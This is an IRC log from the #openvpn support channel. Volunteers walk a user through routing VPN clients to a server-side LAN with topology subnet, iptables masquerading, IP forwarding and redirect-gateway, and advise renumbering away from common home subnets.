01:34 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has quit [Ping timeout: 248 seconds]
01:36 -!- Netsplit *.net <-> *.split quits: nowak, Matir_, thalweg, cruxeternus
01:38 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has joined #openvpn
01:49 -!- Netsplit over, joins: nowak, Matir_, cruxeternus, thalweg
02:21 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
02:23 -!- MrPockets [~MevinKitt@72.129.142.124] has quit [Ping timeout: 252 seconds]
03:30 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
03:49 -!- vaillor [~wefefr@2-226-37-187.ip179.fastwebnet.it] has quit [Read error: Connection reset by peer]
05:43 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
05:54 -!- JAVACODER is now known as javacoder
06:47 -!- Andycatho [~Spanner@190.68.125.91.dyn.plus.net] has joined #openvpn
06:48 < Andycatho> welcome
06:51 < kisom> Andycatho:
06:51 < kisom> !welcome
06:51 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
06:51 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
06:53 < Andycatho> Ok. Thank you. Let me digest your info first.
06:54 < Andycatho> !welcome
06:54 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
06:54 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
06:54 < Andycatho> !howto
06:54 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
06:55 < Andycatho> !route
06:55 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
06:55 <@vpnHelper> behind the server or client
06:59 -!- Andycatho [~Spanner@190.68.125.91.dyn.plus.net] has left #openvpn []
06:59 -!- brad [~brad@ninja.so] has quit [Remote host closed the connection]
07:10 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
07:16 < javacoder> !list
07:16 <@vpnHelper> Admin, BadWords, Channel, ChannelLogger, Config, Factoids, FloodPrevent, Google, Misc, Owner, Relay, Seen, Services, User, Weather, and Web
07:16 < javacoder> !sameer
07:22 -!- JSharpe [~JSharpe@ns225536.ovh.net] has joined #openvpn
07:23 -!- JSharpe [~JSharpe@ns225536.ovh.net] has quit [Read error: Connection reset by peer]
07:53 -!- thumbs [1000@unaffiliated/thumbs] has joined #openvpn
07:54 -!- brad [~brad@ninja.so] has joined #openvpn
07:56 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 246 seconds]
07:56 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
08:25 -!- patelx [chirayu@voyager.chirayu.net] has quit [Ping timeout: 256 seconds]
08:26 -!- patelx [chirayu@voyager.chirayu.net] has joined #openvpn
08:32 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
08:33 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 252 seconds]
09:07 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
09:09 -!- javacoder- [~JAVACODER@2.190.41.100] has joined #openvpn
09:10 -!- javacoder [~JAVACODER@2.190.32.206] has quit [Ping timeout: 276 seconds]
09:21 -!- pycoderf [~pycoderf@108-214-186-137.lightspeed.cicril.sbcglobal.net] has joined #openvpn
09:30 < pycoderf> can anyone explain the push-route and redirect-gateway options? the documentation is not clear
09:38 -!- gorkhaan [~gorkhaan@90.201.26.74] has joined #openvpn
09:38 < gorkhaan> Hi. Just wanna share this:  https://forums.openvpn.net/topic13051.html
09:38 <@vpnHelper> Title: OpenVPN Support Forum Authenticating OpenVPN clients from Wordpress database : Tutorials (at forums.openvpn.net)
09:48 -!- midacts [~midacts@207.59.77.254] has quit [Read error: Connection reset by peer]
09:48 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
09:48 -!- midacts [~midacts@207.59.77.254] has joined #openvpn
09:55 < pycoderf> anyone here who can actually help with problems?
10:07 -!- pycoderf [~pycoderf@108-214-186-137.lightspeed.cicril.sbcglobal.net] has quit [Quit: KVIrc 4.0.4 Insomnia http://www.kvirc.net/]
10:14 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
10:15 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Remote host closed the connection]
10:16 < gorkhaan> One more. https://forums.openvpn.net/topic13053.html  this is more of a copy, but I referred to the source
10:16 <@vpnHelper> Title: OpenVPN Support Forum Authenticating OpenVPN clients from Active Directory (LDAP) : Tutorials (at forums.openvpn.net)
10:27 -!- pycoderf [~pycoderf@108-214-186-137.lightspeed.cicril.sbcglobal.net] has joined #openvpn
10:27 < pycoderf> can anyone please help with the issue described here https://forums.openvpn.net/topic13052.html
10:27 <@vpnHelper> Title: OpenVPN Support Forum Connection issues with new setup : Installation Help (at forums.openvpn.net)
10:37 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
10:47 -!- mattock_afk is now known as mattock
10:48 < gorkhaan> pycoderf, What about logs? can you post them to pastebin, and show it?
10:49 < gorkhaan> pycoderf,  what about the firewall rules? Show them too.
10:50 < pycoderf> one moment
10:53 < pycoderf> gorkhaan: posted to that thread
10:56 < gorkhaan> verb 4 makes hard to read. try verb 3. So you want are you trying to achieve with the VPN connection? Reach an internal LAN?
10:56 < pycoderf> yes
10:58 < pycoderf> i need to reach an internal lan to be able to rdp to my desktop while travelling
10:58 < pycoderf> and other servers
10:59 < gorkhaan> okay. first thing you may add this to your server conf: topology subnet
11:00 < pycoderf> can you explain?
11:00 < gorkhaan> it's easier to understand and use subnets, that point to point.
11:00 < gorkhaan> *than
11:00 < pycoderf> please rephrase. your sentence did not make sense
11:01 < gorkhaan> okay. by default openvpn using point to point topology
11:01 < pycoderf> ok
11:01 < gorkhaan> if you set it to subnet, it is easier to understand and use it.
11:01 < pycoderf> where is that documented?
11:02 < gorkhaan> https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage
11:02 <@vpnHelper> Title: Openvpn23ManPage – OpenVPN Community (at community.openvpn.net)
11:02 < gorkhaan> --topology mode
11:03 < pycoderf> ok i do not uderstand exactly what it wants me to do and why
11:04 < gorkhaan> Just set it to "topology subnet"
11:04 < pycoderf> does that mean i need it to be a tap adapter?
11:04 < gorkhaan> nope, tun is fine.
11:04 < gorkhaan> after this, try to set up masquerading
11:05 < pycoderf> which i have never done before and thus need documentation
11:05 < gorkhaan> what about your ip_forward?   cat /proc/sys/net/ipv4/ip_forward  ?
11:05 < pycoderf> 1
11:06 < gorkhaan> try this:  iptables -t nat -A POSTROUTING -s 192.168.10.0/24 -j MASQUERADE
11:07 < gorkhaan> on  VPN Server
11:07 < pycoderf> one moment
11:08 < gorkhaan> plus I would clean your FORWARD chain, just for the time being. The last thing should be the firewall to set up, if everything works.
11:08 < gorkhaan> iptables -F   flushes it.
11:09 < gorkhaan> We need to do MASQUERADE or every other host, should know somehow, how to reach 192.168.10.0/24  you know. :)
11:10 < pycoderf> opos just lost my other rules one moment
11:12 < pycoderf> ok i have those rules and made the change the conf now what
11:13 < gorkhaan> now test. connect to server. send  verb 3 logs to us. :)
11:13 < gorkhaan> verb 4 is too detailed.
11:13 < pycoderf> ok moment
11:14 < pycoderf> should i be using redirect-gateway?
11:14 < gorkhaan> you can skip that for now. that's option is used for forcing every package to go through the VPN tunnel
11:15 < gorkhaan> buy you just want to reach the internal network. so you don't need that.
11:15 < pycoderf> which id like if possible otherwise why would i bother connecting besides the lan stuff
11:15 < pycoderf> so im on bu i cant tell that its using the vpn as opposed to my wifi hotspot on my phone
11:15 < pycoderf> also i cnt ping the internal network
11:16 < pycoderf> let me grab the log
11:16 < gorkhaan>  debbie10t   suggested to add comp-lzo options on both client and server.
11:16 < gorkhaan> yep.
11:21 < pycoderf> done
11:23 < gorkhaan> great, we are making progress.
11:23 < gorkhaan> next.
11:23 < gorkhaan> Does your desktop has firewall?
11:23 < pycoderf> it does one moment
11:23 < gorkhaan> enable ICMP and RDP
11:24 < pycoderf> icmp seems enabled
11:25 < pycoderf> ok firewall off i can ping it
11:25 < pycoderf> will have to tweak it
11:25 < gorkhaan> check if iptables -t nat -vnL POSTROUTING  has packages moving there
11:25 < gorkhaan> ah
11:25 < gorkhaan> then it works
11:25 < gorkhaan> but check it anyway.
11:26 < pycoderf> cant rdp at the moment. i am on it and cant lose my running applications
11:26 < gorkhaan> just lock your screen I think that's enough for it.
11:26 < gorkhaan> but I am not sure.
11:26 < pycoderf> ok one moment
11:28 < gorkhaan> hint:  termsrv patch
11:29 < gorkhaan> Plus add another system user. :)
11:29 < pycoderf> ooh i got in
11:30 < pycoderf> so what was i doing wrong and how do i save the iptables rules?
11:30 < gorkhaan> https://forums.openvpn.net/topic13051.html
11:30 <@vpnHelper> Title: OpenVPN Support Forum Authenticating OpenVPN clients from Wordpress database : Tutorials (at forums.openvpn.net)
11:31 < gorkhaan> look for:  firewall-nat.sh
11:31 < pycoderf> oh i do have that already
11:31 < gorkhaan> I do this with   up/down
11:31 < pycoderf> will it be much harder to push all my traffic out the vpn?
11:32 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Read error: Connection reset by peer]
11:32 < gorkhaan> nope, just add the "redirect-gateway def1" to your server config, but I am not sure if this is a good idea, since I don't know how powerful is your raspberry to deal with masquerading, forwarding, etc.
11:32 < pycoderf> i can always try though eh?
11:32 < gorkhaan> :) yup
11:33 < pycoderf> so just run firewall.sh on boot?
11:33 < gorkhaan> you can do that, or you can use openvpn server to do it for you
11:33 < gorkhaan> "up" and "down"
11:33 < gorkhaan> see the url what I sent you.
11:34 < gorkhaan> Read the channel's info:h  "e issue  || Your problem is probably firewall, Really || Not "      so true. :)
11:34 < pycoderf> firewall-nat.sh?
11:35 < gorkhaan> yes.
11:35 < gorkhaan> there is a script there too.
11:35 < gorkhaan> just place it next to your openvpn server config.
11:35 < pycoderf> the script needed added to rc.d right?
11:35 < gorkhaan> nono
11:35 < gorkhaan> openvpn config
11:36 < pycoderf> oh  i know why redirect failed before now
11:36 < pycoderf> i didnt have the def1
11:36 < gorkhaan> yep, probably
11:36 < gorkhaan> up "/etc/openvpn/vpnserver/firewall-nat.sh up"
11:36 < gorkhaan> down "/etc/openvpn/vpnserver/firewall-nat.sh down"
11:37 < pycoderf> can i just add the rules permanantly to iptables?
11:37 < pycoderf> since i always want it up or is that ona  trigger?
11:37 < gorkhaan> you can add it to your  /etc/rc.local too if that suits you better.
11:38 < pycoderf> just the ip tables line under up?
11:38 < gorkhaan> but since this firewall rule (the masquerading) is used by openvpn, I prefer to keep it in openvpn.
11:38 < gorkhaan> iptables -t nat -A POSTROUTING -s 192.168.10.0/24 -j MASQUERADE
11:38 < gorkhaan> this is the firewall rule.
11:39 < pycoderf> right
11:39 < pycoderf> i can just place that in rc.local?
11:39 < gorkhaan> + you need IP Forwarding, but you enabled that already.
11:39 < gorkhaan> yup, before "exit 0"
11:39 < gorkhaan> you can permanently enable ip forwarding in /etc/sysctl.conf   too
11:39 < pekster> pycoderf: Has anyone bothered to give you the proper flowchart on server-LAN access yet?
11:39 < pekster> !serverlan
11:39 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
11:39 < pycoderf> gorkhaan: i have it enabled there
11:39 < gorkhaan> k
11:40 < pekster> pycoderf: Also, I'd re-number your LAN; that setup will fail if a client is connecting in from the 192.168.1/24 network, which is the most common CPE network
11:40 < pycoderf> which rule was the forward one? also if it already existsin tiptables doe sit get duplicated?
11:41 < pycoderf> pekster: what do you mean? give my vpn clients a 172 or 10 address?
11:42 < pekster> pycoderf: No, your VPN range of 192.168.10/24 is more or less okay. You're pushing your LAN, which is very likely to conflict with tons of out-of-the-box routers in the real world
11:42 < pycoderf> explain?
11:42 < pekster> You can push it to clients all you want, but if they're also using that on theire remote link, it conflicts
11:42 < pekster> You can't have overlapping networks, so that will break things
11:42 < pycoderf> i have 5 systems on the lan currently and at most 5 additional vpn clients
11:43 < pycoderf> oh i see
11:43 < pekster> pycoderf: You're still not getting it. How can you guarentee that all your clients will *never* connect from that range?
11:43 < pycoderf> so my internal should be 192.168.30 or something?
11:43 < pekster> Yea, there you go
11:43 < pekster> I'd pick something even more obscure in the middle of 10/8 or 172.16/12
11:43 < pekster> !rfc1918
11:43 <@vpnHelper> "rfc1918" is "1918" is (#1) RFC1918 makes three unique netblocks available for private use: 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16 or (#2) see also: http://en.wikipedia.org/wiki/Private_network or http://www.faqs.org/rfcs/rfc1918.html or (#3) Too lazy to find your own subnet? Try this one: http://scarydevilmonastery.net/subnet.cgi
11:43 < pycoderf> i would but the modem/router provided by our isp is too limited to allow that
11:44 < pycoderf> the isp deems all its customers incompetant
11:44 < pekster> What's stopping you from running your own behind it?
11:44 < pycoderf> the inability to disable the routing on this unit
11:44 < pekster> Most ISPs let you put their CPE into a bridged (some call it "passthrough") mode
11:44 < pycoderf> otherwise i would have already been doing that
11:44 < pycoderf> ours does not
11:44 < pekster> Even if they don't, just route between 2 layers of rfc1918 then
11:45 < pekster> Better than failing for clients that use *the* single most common home LAN network range
11:45 < pycoderf> ok but im telling you it is a common complaint this router is too restricted and i run some port forwards which would get jacked up routing between two routers
11:45 < pycoderf> so i fully understand you
11:45 < pycoderf> BUT
11:45 < pycoderf> you need to understand i cannot do that due to limitations byt the isp and their equipment
11:46 < pekster> You can't plug in your own router to the ISP's crap-unit?
11:46 < pekster> What's stopping you? It's just Ethernet with a DHCP lease to internal clients, no?
11:46 < pycoderf> i CAN but it does not allow ip passthrugh or bridge mode. so it owuld be useless
11:47 < pekster> It wouldn't be useless; then your LAN can be something else
11:47 < pycoderf> so then what would i do as far as port forwarding ? just push to the second router and then give it a set of forwarding rules?
11:48 < pekster> Same as you are today, just forward through both units. Does the existing ISP-provided-garbage support a fallthrough NAT (sometimes labled the "DMZ" feature, despite how badly named it is)
11:48 -!- jareth_ [~dr_strang@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Quit: Peace.]
11:48 < pycoderf> this unit does absolutely nothing and the isp is unresponsive. we also have no choice in isp out where i live
11:48 < pekster> I'd also try calling the ISP because sometimes they have an alternative unit they can give you that will support bridged mode, allowing your own equipment to hold the public IP
11:49 < pekster> Well, that sucks then
11:49 < pycoderf> i gues si can try
11:49 < pekster> Yea, if you can put your own router, that'll help. Otherwise just know that your setup is not going to do what you expect anytime you're on that LAN on the client end
11:49 < pekster> (which if you don't control where you are when you wish to connect, that will likely be an awful lot)
11:50 < pycoderf> so if the lan i connect from uses 192.168.1.0 then i will be screwed?
11:50 < pekster> Right
11:50 < pekster> (and that's basically every home router out there)
11:50 < pycoderf> well i know for a fact at least my office is 172
11:50 -!- ShapeShifter499 [ShapeShift@bounce.around.the.world.panicbnc.net] has joined #openvpn
11:51 < ShapeShifter499> hi
11:51 < ShapeShifter499> has anyone used riseup vpn?
11:51 < pekster> Yea, corp environments tend to avoid that network range for the same reasion I'm suggesting you do
11:51 < pycoderf> yeah
11:51 < ShapeShifter499> they make use openvpn and I cannot make it work on my iPhone
11:51 < pekster> ShapeShifter499: We don't deal with providers here. We deal with openvpn, not companies who use openvpn and are too lazy to support their customers
11:51 < pekster> !provider
11:51 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
11:52 < ShapeShifter499> :/
11:52 < pycoderf> pekster: are you good at networking and willing to help me sort out the dual router issue with my trash isp one?
11:52 < ShapeShifter499> mmk
11:52 < pekster> pycoderf: Nothing really to "sort out" -- put your own router you control behind your ISP router. Your router's uplink connects to the ISP downlink, pulls an address, then serves a different, less-common range to your internal network
11:53 < pekster> Port forwarding works the same way, you just need 2 rules to reach your LAN -- one to send it through the ISP device to your router, and another to send it through the router to the target
11:53 < pycoderf> so say i forward ports for a game, or in this case openvpn. i just send them to the second ruter which will send to the client?
11:53 < pekster> Right
11:53 < pekster> Same concept, you just do it twice
11:53 < pycoderf> makes sense
11:53 < pycoderf> so i can leave the isp one as i have it as far as addressing?
11:54 < pekster> Best to set the home router with a static IP or DHCP reservation so it won't change (otherwise the NAT target won't work if it reboots and gets a new IP or w/e)
11:54 < pekster> Yes, exactly
11:54 < pycoderf> ok i understand now. for some reason i was over complicating this before
11:55 < pycoderf> i do see a cascaded router option in this trash one
11:55 < pekster> Remember to use the flowchart in !serverlan -- it has all the steps you need to get VPN clients connected to a server-side LAN
11:55 < pycoderf> so im not doing something right then or you mean to test
12:01 -!- jareth_ [~dr_strang@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
12:08 < pycoderf> ok i have a silly question about use of this vpn
12:09 -!- jareth_ [~dr_strang@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Quit: Peace.]
12:09 -!- pycoderf [~pycoderf@108-214-186-137.lightspeed.cicril.sbcglobal.net] has quit [Read error: Connection reset by peer]
12:10 -!- jareth_ [~dr_strang@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
12:12 -!- pycoderf [~pycoderf@108-214-186-137.lightspeed.cicril.sbcglobal.net] has joined #openvpn
12:16 < pycoderf> is there a way to combine the key and cert files into a single one?
12:17 < pekster> OpenVPN takes a --pkcs12 option with a PKCS#12 ("p12") file as input
12:17 < pekster> There's not really a benefit to doing so besides 1 less (or 2 less on the server) files and config lines, but sometimes it's a convenience
12:18 < pycoderf> can i also do a username/password prompt even when prviding the key/crt/ovpn file?
12:19 < pekster> !authpass
12:19 <@vpnHelper> "authpass" is (#1) please see --auth-user-pass-verify in the manual to learn how to force clients to use passwords in addition to certs or (#2) or to ONLY use passwords (no certs, highly NOT recommended) also use --client-cert-not-required or (#3) and if you want the login name to be used as the common-name for things like ccd entries, use --username-as-common-name
12:20 -!- i7c [~i7c@unaffiliated/i7c] has quit [Ping timeout: 245 seconds]
12:21 -!- jareth_ [~dr_strang@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Quit: Peace.]
12:22 -!- jareth_ [~dr_strang@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
12:22 < pycoderf> ah crap broke my server
12:22 -!- i7c [~i7c@unaffiliated/i7c] has joined #openvpn
12:23 -!- jareth_ [~dr_strang@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Client Quit]
12:25 -!- jareth_ [~dr_strang@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
12:25 < pycoderf> why do i put the masquerade line to always run upon server reboot
12:26 < pekster> !101
12:26 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
12:26 < pekster> Maybe you'd like to ask in a more appropriate venue for learning to configure your OS/firewall
12:27 < pekster> Each distro has their own way to restore/load firewall configuration on boot, so it's not only off-topic here, but there's no generic answer
12:27 < pycoderf> thanks
12:27 -!- jareth_ [~dr_strang@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Client Quit]
12:28 < pekster> Good distros have initscripts to help with that. Debian is one exception, expecting you to "do it yourself" or use one of their crappy frontends
12:28 -!- vpopov [~happylife@dyn-73-2.fttbee.kis.ru] has joined #openvpn
12:32 -!- jareth_ [~dr_strang@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
12:35 -!- jareth_ [~dr_strang@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Client Quit]
12:36 -!- jareth_ [~dr_strang@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
12:38 -!- jareth_ [~dr_strang@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Client Quit]
12:39 -!- jareth_ [~dr_strang@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
12:39 -!- trispace [~trispace@chello212017114137.18.11.vie.surfer.at] has joined #openvpn
12:40 -!- jareth_ [~dr_strang@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Client Quit]
12:43 -!- jareth_ [~dr_strang@a83-161-152-176.adsl.xs4all.nl] has joined #openvpn
12:46 -!- jareth_ [~dr_strang@a83-161-152-176.adsl.xs4all.nl] has quit [Client Quit]
12:46 -!- Poster|w [poster@shell.bshellz.net] has joined #openvpn
12:48 -!- jareth_ [~dr_strang@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
12:50 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
12:51 -!- jareth_ [~dr_strang@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Client Quit]
12:52 -!- pycoderf [~pycoderf@108-214-186-137.lightspeed.cicril.sbcglobal.net] has quit [Quit: KVIrc 4.0.4 Insomnia http://www.kvirc.net/]
12:53 -!- jareth_ [~dr_strang@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
12:53 -!- jareth_ [~dr_strang@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Client Quit]
12:55 -!- jareth_ [~dr_strang@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
12:55 -!- jareth_ [~dr_strang@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Client Quit]
12:57 -!- jareth_ [~dr_strang@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
12:58 -!- jareth_ [~dr_strang@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Client Quit]
13:00 -!- jareth_ [~dr_strang@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
13:02 -!- jareth_ [~dr_strang@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Client Quit]
13:03 -!- jareth_ [~dr_strang@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
13:04 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
13:05 -!- jareth_ [~dr_strang@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Client Quit]
13:07 -!- jareth_ [~dr_strang@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
13:07 -!- jareth_ [~dr_strang@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Client Quit]
13:08 -!- MrPockets [~MevinKitt@72.129.142.124] has joined #openvpn
13:09 -!- jareth_ [~dr_strang@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
13:09 -!- jareth_ [~dr_strang@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Client Quit]
13:10 -!- jareth_ [~dr_strang@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
13:12 -!- jareth_ [~dr_strang@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Client Quit]
13:25 -!- MrPockets [~MevinKitt@72.129.142.124] has quit [Ping timeout: 252 seconds]
13:33 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
13:35 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Client Quit]
13:36 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
13:40 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Ping timeout: 245 seconds]
13:42 -!- javacoder- [~JAVACODER@2.190.41.100] has quit [Quit: Miranda IM! Smaller, Faster, Easier. http://miranda-im.org]
13:46 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Quit: ZNC - http://znc.in]
13:48 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has joined #openvpn
13:48 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has quit [Changing host]
13:48 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
13:51 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
13:54 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Client Quit]
13:55 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
13:58 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Ping timeout: 245 seconds]
13:58 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
13:59 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Client Quit]
14:00 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
14:00 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Client Quit]
14:01 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
14:03 -!- trispace [~trispace@chello212017114137.18.11.vie.surfer.at] has left #openvpn []
14:05 -!- MrPockets [~MevinKitt@72.129.142.124] has joined #openvpn
14:06 -!- MrPockets [~MevinKitt@72.129.142.124] has quit [Changing host]
14:06 -!- MrPockets [~MevinKitt@unaffiliated/mrpockets] has joined #openvpn
14:20 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Ping timeout: 264 seconds]
14:21 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
14:25 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Ping timeout: 240 seconds]
14:26 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has joined #openvpn
14:26 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has quit [Changing host]
14:26 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
14:31 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Ping timeout: 240 seconds]
14:32 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
14:35 -!- zamba [marius@flage.org] has quit [Remote host closed the connection]
14:36 -!- zamba [marius@flage.org] has joined #openvpn
15:03 -!- max__ [~max@c-67-170-96-239.hsd1.wa.comcast.net] has joined #openvpn
15:04 -!- max__ is now known as Guest59568
15:07 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Ping timeout: 264 seconds]
15:34 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Ping timeout: 264 seconds]
15:36 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has joined #openvpn
15:36 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has quit [Changing host]
15:36 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
15:39 -!- xTz [xtz@DeathStar.Techn0.eu] has quit [Quit: brb]
15:41 -!- Guest59568 [~max@c-67-170-96-239.hsd1.wa.comcast.net] has quit [Quit: p33 ba115]
15:52 -!- vpopov [~happylife@dyn-73-2.fttbee.kis.ru] has quit [Ping timeout: 256 seconds]
15:57 -!- xTz [xtz@DeathStar.Techn0.eu] has joined #openvpn
15:57 -!- xTz [xtz@DeathStar.Techn0.eu] has quit [Client Quit]
15:59 -!- Guest79300 [xtz@DeathStar.Techn0.eu] has joined #openvpn
15:59 -!- Guest79300 [xtz@DeathStar.Techn0.eu] has quit [Client Quit]
16:15 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 276 seconds]
16:24 -!- mattock is now known as mattock_afk
16:33 -!- stephanj [stephan@opennic/stephan] has left #openvpn []
16:38 -!- max__ [~max@c-67-170-96-239.hsd1.wa.comcast.net] has joined #openvpn
16:38 -!- max__ is now known as Guest35920
16:42 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Quit: Leaving]
16:43 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
17:03 -!- Guest35920 [~max@c-67-170-96-239.hsd1.wa.comcast.net] has quit [Remote host closed the connection]
17:37 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:08 -!- Serano is now known as [ELeG]Serano
18:17 -!- gorkhaan [~gorkhaan@90.201.26.74] has quit [Quit: Leaving]
18:22 -!- master_o1_master [~master_of@p4FF24F22.dip0.t-ipconnect.de] has joined #openvpn
18:25 -!- master_of_master [~master_of@p4FF24BDC.dip0.t-ipconnect.de] has quit [Ping timeout: 256 seconds]
18:26 < dimm0k> hrmm, if i altered the certificates for openvpn server, i need to restart it right?
19:17 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has quit [Ping timeout: 260 seconds]
19:18 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
